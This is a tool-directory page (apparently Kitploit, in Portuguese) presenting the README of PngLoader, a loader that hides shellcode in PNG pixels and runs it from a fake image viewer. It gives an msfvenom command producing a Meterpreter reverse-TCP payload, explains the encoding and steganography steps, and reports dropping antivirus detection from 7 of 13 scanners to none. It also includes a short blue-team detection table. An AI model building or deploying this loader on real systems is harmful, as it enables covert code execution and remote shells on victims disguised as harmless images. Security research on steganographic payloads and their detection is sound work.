Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PngLoader — Oculta payloads arbitrários em imagens PNG usando codificação nibble-para-ASCII e esteganografia LSB de Fibonacci, com um loader em C++ que extrai e executa os dados incorporados. | Kitploit
Ferramentas/GitHubGitHub/i014n/pngloader
Ferramentas DefensivasGeração de PayloadsExploraçãoShellcodeEsteganografiaAnálise de MalwareAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubi014n/pngloader

PngLoader

Oculta payloads arbitrários em imagens PNG usando codificação nibble-para-ASCII e esteganografia LSB de Fibonacci, com um loader em C++ que extrai e executa os dados incorporados.

3130há 22h 45mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

PngLoader — Pesquisa de Payload Esteganográfico

Aviso: Este projeto destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada — testes de penetração, competições CTF, exercícios de red-team e estudo acadêmico. Não o utilize contra sistemas sem autorização escrita explícita.


Visão Geral

O PngLoader oculta dados arbitrários dentro de imagens PNG usando duas camadas:

  1. Codificação nibble-para-ASCII — binário → caracteres ASCII imprimíveis
  2. Esteganografia de Fibonacci — dados codificados → pixels dispersos numa PNG
  3. Loader — um "visualizador de PNG" para Windows que extrai e executa os dados ocultos

Início Rápido

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PoC Demo

PoC Demo


Estrutura do Projeto

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

Como Funciona

Estágio 1 — Codificação Nibble-para-ASCII

Cada byte é dividido em dois nibbles de 4 bits. Cada nibble é mapeado para um caractere ASCII imprimível adicionando uma base aleatória (48, 64 ou 96):

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

Decodificação usa a propriedade módulo-16 — todas as três bases são múltiplos de 16:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

A seleção de base aleatória significa que a mesma entrada produz saídas diferentes a cada vez, mas a decodificação é sempre determinística.

BaseIntervaloCaracteres
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

Estágio 2 — Esteganografia de Fibonacci

Os bytes do payload são colocados em índices de pixels seguindo a sequência de Fibonacci (1, 2, 3, 5, 8, 13, 21, …) no array de pixels achatado. Isso espalha as modificações pela imagem em vez de agrupá-las.

Empacotamento de bits — cada byte é dividido em 3/3/2 pelos LSBs RGB:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

Wrapping — quando os índices de Fibonacci excedem a contagem de pixels, eles dão a volta via módulo. As colisões são resolvidas por sondagem linear. Um terminador 0x00 marca o fim dos dados.

Tamanho da ImagemPixelsCapacidade Limpa
640×480307,200~27 bytes
1920×10802,073,600~31 bytes
4000×300012M~35 bytes

Com o wrapping ativado, capacidade máxima = total_pixels − 1.

Estágio 3 — Loader

O loader em C++ (loader_png.cpp) atua como um visualizador de PNG legítimo:

  1. Exibe a imagem normalmente usando GDI+
  2. Extrai bytes ocultos das posições de pixels de Fibonacci usando WIC (RGB24)
  3. Decodifica ASCII → binário via UtilDecryptFileQuoted() (reversão mod-16)

Algoritmos Alternativos de Posicionamento

A sequência de Fibonacci é apenas uma abordagem. Outras estratégias de seleção de pixels oferecem diferentes trade-offs de capacidade/segurança:

AlgoritmoCapacidade Limpa (1080p)Chave CompartilhadaEspalhamentoCusto
Fibonacci (implementado)~31 bytesNãoLacunas exponenciaisMínimo
Prime-Index~150K bytesNãoLacunas n·ln(n)Moderado
LFSR~2M bytesSim (seed)Pseudo-aleatórioMínimo
Keyed Permutation~2M bytesSim (chave)CriptográficoAlto
Hilbert CurveDependente do strideNãoEspacialmente uniformeModerado
Golden Ratio (Weyl)~2M bytesNãoBaixa discrepânciaMínimo
Detalhes sobre cada algoritmo

Prime-Index — Os índices de pixels são números primos (2, 3, 5, 7, 11…). Os primos crescem como n·ln(n), proporcionando uma capacidade limpa muito maior que a de Fibonacci.

LFSR — Um Linear Feedback Shift Register de comprimento máximo produz uma permutação pseudo-aleatória. A seed atua como um segredo compartilhado. Zero colisões para o período completo.

Keyed Permutation (Fisher-Yates) — Um embaralhamento de todos os índices de pixels com seed de CSPRNG. As posições são indistinguíveis de aleatórias sem a chave.

Hilbert Curve — Percorre os pixels ao longo de uma curva de preenchimento espacial com um stride. Distribui as alterações uniformemente pela área 2D da imagem.

Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Produz a distribuição 1D mais uniforme possível. Trivial de calcular.


Resultados de Varredura

Payload bruto — 7/13 scanners o detectam:

Raw payload scan

Após a codificação — 0/13 scanners o detectam:

Encoded payload scan


Orientação para Detecção

Para blue-team / defensores:

CamadaIndicador
EstáticoImports: VirtualAllocEx, WriteProcessMemory, SetThreadContext
ImagemEsteganálise de qui-quadrado nos planos LSB detecta modificações
ComportamentalCriação de processo suspenso + injeção de thread remota (Sysmon EID 1+8)
CodificaçãoCaracteres exclusivamente de três faixas ASCII de 16 caracteres

Build e Dependências

Python:

pip install numpy Pillow

Loader em C++:

  • Visual Studio 2019+ com carga de trabalho C++ Desktop
  • Windows 10+ SDK
  • Abra 1.Loader/Loader_png.vcxproj → Build Release x64

Referências

  • Esteganografia LSB
  • Sequência de Fibonacci
  • Windows Imaging Component

Licença

Apenas para pesquisa de segurança educacional e autorizada. Consulte o aviso de isenção de responsabilidade acima.

Baixar ferramenta